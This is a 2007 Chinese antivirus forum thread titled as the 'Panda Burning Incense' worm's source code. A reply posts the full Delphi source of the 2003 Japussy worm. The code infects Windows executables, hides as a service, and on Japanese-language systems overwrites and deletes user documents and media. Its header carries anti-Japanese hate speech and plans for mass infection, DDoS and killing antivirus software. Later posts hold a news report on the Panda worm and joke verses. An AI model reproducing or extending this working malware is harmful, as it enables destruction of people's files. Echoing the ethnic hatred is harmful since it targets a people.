瑞星卡卡安全论坛

首页 » 技术交流区 » 系统软件 » 熊猫烧香的的代码(反编译)
福牛乐乐 - 2007-1-28 9:33:00
熊猫烧香的的代码(反编译)


熊猫的代码
delphi写的
只提供技术研究,如有什么后果,自负



program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;            //病毒体的大小
IconOffset = $12EB8;          //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
 
{
HeaderSize = 38912;            //Upx压缩过病毒体的大小
IconOffset = $92BC;            //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize  = $2E8;            //PE文件主图标的大小--744字节
IconTail  = IconOffset + IconSize; //PE文件主图标的尾部
ID      = $44444444;        //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
        'If a country need to be destroyed, it must be Japan! ' +
        '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si:    STARTUPINFO;
Pi:    PROCESS_INFORMATION;
IsJap:  Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
  Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
  Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
  sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  try
    dStream := TFileStream.Create(FileName, fmCreate);
    try
    sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
    dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
    finally
    dStream.Free;
    end;
  finally
    sStream.Free;
  end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
  if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
    Exit;
  Infected := False;
  IsPE  := False;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  try
    for i := 0 to $108 do //检查PE文件头
    begin
    SrcStream.Seek(i, soFromBeginning);
    SrcStream.Read(Buf, 2);
    if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
    begin
      IsPE := True; //是PE文件
      Break;
    end;
    end;
    SrcStream.Seek(-4, soFromEnd); //检查感染标记
    SrcStream.Read(iID, 4);
    if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
    Infected := True;
  finally
    SrcStream.Free;
  end;
  if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
    Exit;
  IcoStream := TMemoryStream.Create;
  DstStream := TMemoryStream.Create;
  try
    aIcon := TIcon.Create;
    try
    //得到被感染文件的主图标(744字节),存入流
    aIcon.ReleaseHandle;
    aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
    aIcon.SaveToStream(IcoStream);
    finally
    aIcon.Free;
    end;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    //头文件
    HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
    //写入病毒体主图标之前的数据
    CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
    //写入目前程序的主图标
    CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
    //写入病毒体主图标到病毒体尾部之间的数据
    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
    //写入宿主程序
    CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
    //写入已感染的标记
    DstStream.Seek(0, 2);
    iID := $44444444;
    DstStream.Write(iID, 4);
    finally
    HdrStream.Free;
    end;
  finally
    SrcStream.Free;
    IcoStream.Free;
    DstStream.SaveToFile(FileName); //替换宿主文件
    DstStream.Free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
  SetFileAttributes(PChar(FileName), 0); //去掉只读属性
  FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
  try
    Size := GetFileSize(FileHandle, nil); //文件大小
    i := 0;
    Randomize;
    Max := Random(15); //写入垃圾码的随机次数
    if Max < 5 then
    Max := 5;
    Mass := Size div Max; //每个间隔块的大小
    Len := Length(Catchword);
    while i < Max do
    begin
    FileSeek(FileHandle, i * Mass, 0); //定位
    //写入垃圾码,将文件彻底破坏掉
    FileWrite(FileHandle, Catchword, Len);
    Inc(i);
    end;
  finally
    FileClose(FileHandle); //关闭文件
  end;
  DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
  D := Chr(i + 65);
  Str := D + ':\';
  DiskType := GetDriveType(PChar(Str));
  //得到本地磁盘和网络盘
  if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
    Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
  if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
    (SearchRec.Name <> '..') then
    Result := 0 //不是目录
  else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
    (SearchRec.Name <> '..') then
    Result := 1 //不是根目录
  else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
  repeat
    PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
    if IsValidDir(SearchRec) = 0 then
    begin
    Fn := Path + SearchRec.Name;
    Ext := UpperCase(ExtractFileExt(Fn));
    if (Ext = '.EXE') or (Ext = '.SCR') then
    begin
      InfectOneFile(Fn); //感染可执行文件   
    end
    else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
    begin
      //感染HTML和ASP文件,将Base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之?
    end
    else if Ext = '.WAB' then //Outlook地址簿文件
    begin
      //获取Outlook邮件地址
    end
    else if Ext = '.ADC' then //Foxmail地址自动完成文件
    begin
      //获取Foxmail邮件地址
    end
    else if Ext = 'IND' then //Foxmail地址簿文件
    begin
      //获取Foxmail邮件地址
    end
    else
    begin
      if IsJap then //是倭文操作系统
      begin
独孤飞熊 - 2007-1-28 13:40:00
这么短?还是只是一个片断?
朱宇航1125 - 2007-1-28 14:35:00
片段而已啊,有些技术没提到哦,比如枚举进程结束进程,但这些一般编程着也是知道的,最讨厌的就是用键盘映射结束IceSword啊
中阕小神 - 2007-1-28 17:35:00
...我是菜鸟...555...
爱你悦你 - 2007-1-28 20:18:00
【回复“中阕小神”的帖子】饿
也是菜鸟
5555!!
icerose - 2007-1-28 23:46:00
汗...
孤の傲無蕙 - 2007-1-29 4:13:00
汗...熊猫......................22号整网吧都中了..好在有还原卡...不然就完了..........
gloomsword - 2007-1-29 11:58:00
Delphi语言编写的
gloomsword - 2007-1-29 11:58:00
Delphi  you  shen  me hao  chu  a  ,zen  me  bu  yong  bie  de  bian  a
javam - 2007-1-29 14:01:00
不太会!!!!!!!!
龙萧天下 - 2007-1-29 15:32:00
这是老早的一个未完成的病毒程序,哪是熊猫啊!
龙萧天下 - 2007-1-29 15:39:00
我来发个全的吧,2003的东西了

{**********************************************************************}
{                                                                      }
{                  Crossbow Virus OpenSource Project                  }
{                                                                      }
{              Copyright (C) 1999-2003 Crossbow [CHiNA]              }
{                                                                      }
{ Taking our names from the great empire, instinct-driven face of the  }
{ human psyche, Chinese are, by general acknowledgement, the smartest  }
{ race in the world. Today, the sons of Qin Empire will give the just  }
{ punishment to those lousy japs, the mose flagitious race of the      }
{ world, the biggest enemy of all Chinese.                            }
{                                                                      }
{ All wrathful brethren, Unite!                                        }
{                                                                      }
{ This program is free software; you can redistribute it and/or modify }
{ it under the terms of the GNU General Public License as published by }
{ the Free Software Foundation; either version 2, or (at your option)  }
{ any later version.                                                  }
{                                                                      }
{                      Crossbow病毒开放源代码计划                      }
{                                                                      }
{                版权所有 (C) 1999-2003 Crossbow [中国]                }
{                                                                      }
{ 就像我们的名字来自于那个伟大的帝国一样,人类灵魂的本能所能公认的,  }
{ 中华民族,是全世界众所周知最聪明的民族。今天,大秦帝国的子孙们将给予 }
{ 中华民族的世代仇敌,那些卑劣猥琐的倭狗,世界上最无耻、最卑鄙、最残忍 }
{ 的民族以正义的惩罚。                                                }
{                                                                      }
{ 愤怒的炎黄子孙们,团结起来!                                        }
{                                                                      }
{ 这份程序是自由软件,你可以在基于由自由软件基金会(Free Software      }
{ Foundation) 所发布之GNU通用公众协议(GNU General Public License)的原  }
{ 则上再分发和/或修改它,或其后续版本。                                }
{                                                                      }
{**********************************************************************}

{**********************************************************************}
{ Name:        W32.Japussy.Worm.A 0.01  Alpha                        }
{ Date:        2003/10/21                                            }
{ Compiler:    Delphi 5 or later                                      }
{ Contributors: Sorted by Alphabet                                    }
{              BaiLaoHu    [bailaohu@yeah.net]                      }
{              Crossbow    [crossbow@borlandsoft.com]                }
{              JunFengRen  [junfeng.ren@mail.tinco.com]              }
{              ThenLong    [thenlong@msn.com]                        }
{              TieXinLiu    [tiexinliu@8860.net]                      }
{ Total 5 persons                                                      }
{                                                                      }
{ 名字:        W32.Japussy.Worm.A 0.01 Alpha                          }
{ 日期:        2003/10/21                                            }
{ 编译器:      Delphi 5或更新                                        }
{ 参与者:      以字母顺序排列                                        }
{              BaiLaoHu    [bailaohu@yeah.net]                      }
{              Crossbow    [crossbow@borlandsoft.com]                }
{              JunFengRen  [junfeng.ren@mail.tinco.com]              }
{              ThenLong    [thenlong@msn.com]                        }
{              TieXinLiu    [tiexinliu@8860.net]                      }
{ 目前总共5人                                                          }
{**********************************************************************}

{**********************************************************************}
{ 待解决的问题:                                                        }
{                                                                      }
{ 1. WinNT下远程线程映射到Explorer进程                                }
{ 1. WinNT下获得管理员权限                                            }
{ 2. 自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件                  }
{ 3. Base64编码,在保持不大幅增加病毒体大小的前提下                    }
{ 4. 固定日期DDoS(集群式拒绝服务)攻击指定倭狗网站支付网关              }
{ 5. 能杀掉常见防火墙和杀毒软件进程                                    }
{ 6. 绝对磁盘扇区写操作,摧毁分区表和文件分配表                        }
{**********************************************************************}

{**********************************************************************}
{ 这份计划借鉴了SOJ老大的代码,并做了大量的修改和完善。Upx压缩过的病毒 }
{ 体只有38K,和其它Win32ASM写的6K左右的病毒来说可以是庞然大物了。由于  }
{ 没有修改入口点,目前Norton AntiVirus 2001无法查出它。                }
{                                                                      }
{ 我认为与其在论坛上对倭狗破口大骂,还不如做点实事。一来可以学习知识, }
{ 提高水平,认识一些可以互相学习的朋友。二来完工后可以让倭狗吃点苦头, }
{ 还是很惬意的。我的目标是感染1000万台以上的机器。                    }
{                                                                      }
{ 目前这个病毒还远远没有达到预定的设想,所以希望大家一起来完善它。如果 }
{ 可能,以后会用Win32Asm重写它。                                      }
{                                                                      }
{ 这是一个公益计划,本着完全自愿开发的原则。希望大家在不影响工作的情况 }
{ 下利用空余时间加入本计划。加入这个计划的朋友可以获赠我收藏的200余篇  }
{ 病毒的代码和资料,我将不定期在CSDN上公布计划的进度。                }
{                                                                      }
{**********************************************************************}

{**********************************************************************}
{ 严重警告:                                                            }
{                                                                      }
{ !!!请不要在未读懂源代码的情况下编译运行本程序,否则后果自负!!! }
{                                                                      }
{ 我们交流的是技术,展示的源代码和相关代码的目的只是为了说明技术的原理 }
{ 和使用。如果任何个人或组织利用本文档发布的技术进行破坏,应由其本人负 }
{ 责,与本计划的参与者无关!!!                                      }
{                                                                      }
{**********************************************************************}

program Japussy;

uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const
  HeaderSize = 82432;                  //病毒体的大小
  IconOffset = $12EB8;                //PE文件主图标的偏移量
 
  //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
  //查找2800000020的十六进制字符串可以找到主图标的偏移量
 
{
  HeaderSize = 38912;                  //Upx压缩过病毒体的大小
  IconOffset = $92BC;                  //Upx压缩过PE文件主图标的偏移量
 
  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}

  IconSize  = $2E8;                  //PE文件主图标的大小--744字节
  IconTail  = IconOffset + IconSize;  //PE文件主图标的尾部
  ID        = $44444444;              //感染标记
 
  //垃圾码,以备写入
  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
              'If a country need to be destroyed, it must be Japan! ' +
              '*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  stdcall; external 'Kernel32.dll'; //函数声明

var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:  Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;

龙萧天下 - 2007-1-29 15:39:00
{ 发带毒邮件 }

procedure SendMail;
begin
  //哪位仁兄愿意完成之?
end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出错则文件正在被使用,退出
    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
      Exit;
    Infected := False;
    IsPE    := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
        begin
          IsPE := True; //是PE文件
          Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //检查感染标记
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染文件的主图标(744字节),存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //头文件
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //写入病毒体主图标之前的数据
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //写入目前程序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //写入病毒体主图标到病毒体尾部之间的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //写入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替换宿主文件
      DstStream.Free;
    end;
  except;
  end;
end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉只读属性
    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
    try
      Size := GetFileSize(FileHandle, nil); //文件大小
      i := 0;
      Randomize;
      Max := Random(15); //写入垃圾码的随机次数
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每个间隔块的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //写入垃圾码,将文件彻底破坏掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //关闭文件
    end;
    DeleteFile(PChar(FileName)); //删除之
  except
  end;
end;

{ 获得可写的驱动器列表 }

function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍历26个字母
  begin
    D := Chr(i + 65);
    Str := D + ':\';
    DiskType := GetDriveType(PChar(Str));
    //得到本地磁盘和网络盘
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
      Result := 0 //不是目录
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
        Result := 1 //不是根目录
    else Result := 2; //是根目录
  end;
begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = '.EXE') or (Ext = '.SCR') then
        begin
          InfectOneFile(Fn); //感染可执行文件       
        end
        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
          //感染HTML和ASP文件,将Base64编码后的病毒写入
          //感染浏览此网页的所有用户
          //哪位大兄弟愿意完成之?
        end
        else if Ext = '.WAB' then //Outlook地址簿文件
        begin
          //获取Outlook邮件地址
        end
        else if Ext = '.ADC' then //Foxmail地址自动完成文件
        begin
          //获取Foxmail邮件地址
        end
        else if Ext = 'IND' then //Foxmail地址簿文件
        begin
          //获取Foxmail邮件地址
        end
        else
        begin
          if IsJap then //是倭文操作系统
          begin
            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
              (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
              (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
              (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
              (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
              (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
                SmashFile(Fn); //摧毁文件
          end;
        end;
      end;
      //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path + SubDir.Strings + '\', Mask);
  FreeAndNil(SubDir);
end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;
var
  DriverList: string;
  i, Len: Integer;
begin
  if GetACP = 932 then //日文操作系统
    IsJap := True; //去死吧!
  DriverList := GetDrives; //得到可写的磁盘列表
  Len := Length(DriverList);
  while True do //死循环
  begin
    for i := Len downto 1 do //遍历每个磁盘驱动器
      LoopFiles(DriverList + ':\', '*.*'); //感染之
    SendMail; //发带毒邮件
    Sleep(1000 * 60 * 5); //睡眠5分钟
  end;
end;

{ 主程序开始 }

begin
  if IsWin9x then //是Win9x
    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
  else //WinNT
  begin
    //远程线程映射到Explorer进程
    //哪位兄台愿意完成之?
  end;
  //如果是原始病毒体自己
  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
    InfectFiles //感染和发邮件
  else //已寄生于宿主程序上了,开始工作
  begin
    TmpFile := ParamStr(0); //创建临时文件
    Delete(TmpFile, Length(TmpFile) - 4, 4);
    TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
    ExtractFile(TmpFile); //分离之
    FillStartupInfo(Si, SW_SHOWDEFAULT);
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
      0, nil, '.', Si, Pi); //创建新进程运行之
    InfectFiles; //感染和发邮件
  end;
end.
独傲凌宵 - 2007-1-29 15:47:00
百分百菜菜,一个看不懂!
完美Ibelieve - 2007-1-29 19:44:00
顶`
封神梦想 - 2007-1-29 19:48:00
顶,不错,高手真多呀
欧阳贱男 - 2007-1-29 21:13:00
高手不少,我比起来差远了!汗,得学习!
追忆网络年华 - 2007-1-30 10:11:00
哈.这么长一串!都看不懂.!闷!
山东小老汉 - 2007-1-30 12:42:00
近期疯狂肆虐互联网的“熊猫烧香”病毒让超过百万的网民深受其害,有电脑受到严重破坏的网友更公开发出帖子称,将悬赏10万美元通缉“熊猫烧香”病毒的作者,得到九成以上网友的热烈响应。

  “就在很多人怀疑熊猫烧香病毒是一个15岁武汉男孩制作的时候,它背后的黑势力近日已经现身,网上已经发现了产销一条龙盗窃销售网游设备的产业链。”前日,江民公司反病毒工程师称,已发现“熊猫烧香”病毒幕后势力的痕迹。

  据江民等反病毒公司人员介绍,“熊猫烧香”病毒从去年12月份大规模爆发至今,已经使上百万网友受害。该公司每天都接到大量的求助电话。据悉受此病毒危害最为严重的是一些网吧业主,近千台电脑集体瘫痪,直接损失30多万元,让他们“杀人的心都有”。

  网吧受灾最严重

  在反病毒公司接连发布病毒紧急警报后,国家计算机病毒应急处理中心也发布了病毒预警,“可惜两次病毒警报并没有引起人们的足够重视”。反病毒专家何公道表示。

  近日有不少网友表示要团结起来捉拿病毒作者,更有甚者公开发出通缉令并悬赏10万美元。该举动在我国互联网和反病毒历史上都是首次,引起了各方关注。

  病毒产业链现身

  江民公司反病毒工程师向新京报记者展示的一份证据显示,在他们截获的病毒中,已经发现“熊猫烧香”的作者通过http://www.feifeicqq.com等几家地下网站公开销售网络游戏的装备,“他们这些网站可以称为是盗号、买卖一条龙,现在看来‘熊猫烧香’的背景远没有那么简单”,反病毒工程师称,只要病毒作者愿意,一年可以靠卖盗窃产品赚一座别墅。

  据了解,“熊猫烧香”本身就是一种下载程序,会在指定的网站下载后门、木马、各种盗号程序。目前已经转入盗销一条龙的几家网站已经有所警觉,几家网站都已经采取了应对措施。而之前,几家杀毒公司都已经向公安机关报案。

  病毒作者触犯法律

  据反病毒专家介绍,近期“熊猫烧香”的新变种中,病毒作者还在病毒体中留下了“超级巡警终于火了”的言论,因此有不少网友怀疑此次“熊猫烧香”病毒是由“超级巡警”软件提供方幕后推动。但该说法并未得到国内几家杀毒公司的肯定,称目前除了病毒体中的那句留言尚未有太多证据显示是该团体在幕后推动。

  自2005年以来,计算机病毒作者常常以获取经济利益为目标,之前出现的网银大盗、证券大盗、游戏大盗、QQ大盗等都是如此,而这些都已经触犯了我国的刑法。2006年5月“证券大盗”木马病毒作者一审被判无期徒刑,而“熊猫烧香”病毒的真相何时会水落石出,我们将继续关注。

  网友改《菊花台》苦中作乐

  前日,互联网上一首改编自《菊花台》的歌词,道出了众多网民面对“熊猫病毒”肆虐的无奈。

  “晚上机器崩溃了,临时装了系统可还是不稳定。”网友“顺利平安”说,“白天发现电脑根本无法运行了”。很多网民都有和“顺利平安”一样的遭遇。尽管网上出现了多种消灭该病毒的软件和具体操作方法,但“熊猫病毒”给网民造成了很大伤害。许多网民通宵采取应急措施,但仍无法修复被毁的电脑系统。有人将其称为“黑色恐怖”。

  就在大家焦头烂额之际,一首根据此次“熊猫烧香”病毒,改编自周杰伦的《菊花台》的歌词开始在网上流传。这篇恶搞歌词很形象地表现了众网民面对病毒的无奈和疲惫。除此之外,该病毒的卡通形象也被篡改。原本上香的熊猫突然两眼圆睁,吐露着舌头,下方是一句具有挑衅性的话———“毒的就是你”。

  改版《菊花台》

  “你的泪光,柔弱中带伤。满屏的熊猫香,删除过往。熊猫猖狂,点上三根香,是谁在电脑前冰冷的绝望。猫慢慢拜,暗黄色的香。我瘫坐椅子上,精神错乱,路在何方,谁为我思量,冷风吹乱憔悴模样。熊猫拜,三根香,你的笑容已泛黄。重装又重装,我心里在发慌。江民杀,瑞星除,你的影子剪不断,徒留我在机旁神伤。”

  网络通缉令

  凶手 熊猫烧香病毒
  陪你去看海  (2007-01-30 12:22:19)
诗词篇

床前明月光,熊猫在烧香
专杀杀不尽,两眼泪汪汪

宝剑锋自磨砺出,熊猫香自网上来。
身心俱疲终不悔,为猫消得人憔悴
熊猫烧不尽,关机开又生!


猫自网上病毒流,一处中招,两处愁。此毒无计可消除,才下眉头,却上心头.

日照香炉升紫烟,疑似熊猫在烧香

熊猫烧香何时了,中毒知多少?ghost昨夜又失踪,系统不堪回首缓慢中。文件程序应犹在,只是图标改。问君能有几多愁,恰似一江春水向东流。

熊猫烧香,唯有重装。何以解忧``惟有杜康

不在烧香中爆发,就在烧香中灭亡

广告词篇

熊猫以香为本
熊猫恒久远,烧香永流传。让我们做得更好。(飞利浦电子)
让熊猫烧得更香。传奇世界,无限可能。(盛大传奇世界经典宣传词)
熊猫烧香,死路一条。 只管去做。(耐克运动鞋)
让我们做得更好。(飞利浦电子)
让熊猫烧得更香。
传奇世界,无限可能。(盛大传奇世界经典宣传词)
熊猫烧香,死路一条。 桑塔纳:熊猫拥有桑塔纳走遍天下烧香都不怕
成功之路,从头开始。(飘柔)
熊猫之路,烧香开始。
今年过节,不烧香,不烧香呀不烧香!要烧只烧熊猫香呀!熊猫香呀熊猫香!
真诚到永远!(海尔电器)
烧香到崩溃!
不管白猫黑猫能烧香的就是好猫
美特斯熊猫,不烧巡常香
我要烧得更香~~~~~~~~烧得更香~~~~~~~~~~~~~~
黎叔很生气,后果很严重----天下无贼 熊猫很得意,烧香很勤快~~~~~~
烧自己的香,让别人去说吧!
白天烧一柱,不瞌睡;晚上再烧一柱,睡得香
钙中钙:现在的香啊,它含金量高,烧一柱顶过去五柱,方便!你瞧我,一口气烧上五柱,不费劲!
自从烧了香,瑞星没用了,金山也开不了,重装系统也没有劲了!

其他类
骑白马的不一定是王子,他可能是唐僧。
烧香的不一定是和尚,也可能是熊猫

教育要面向现代化,面向世界,面向未来。
烧香要面向互联网,面向世界,面向未来。

发展体育运动,增强人民体质,
发展熊猫烧香,增强网民素质。

让香烧得更猛烈一点吧!
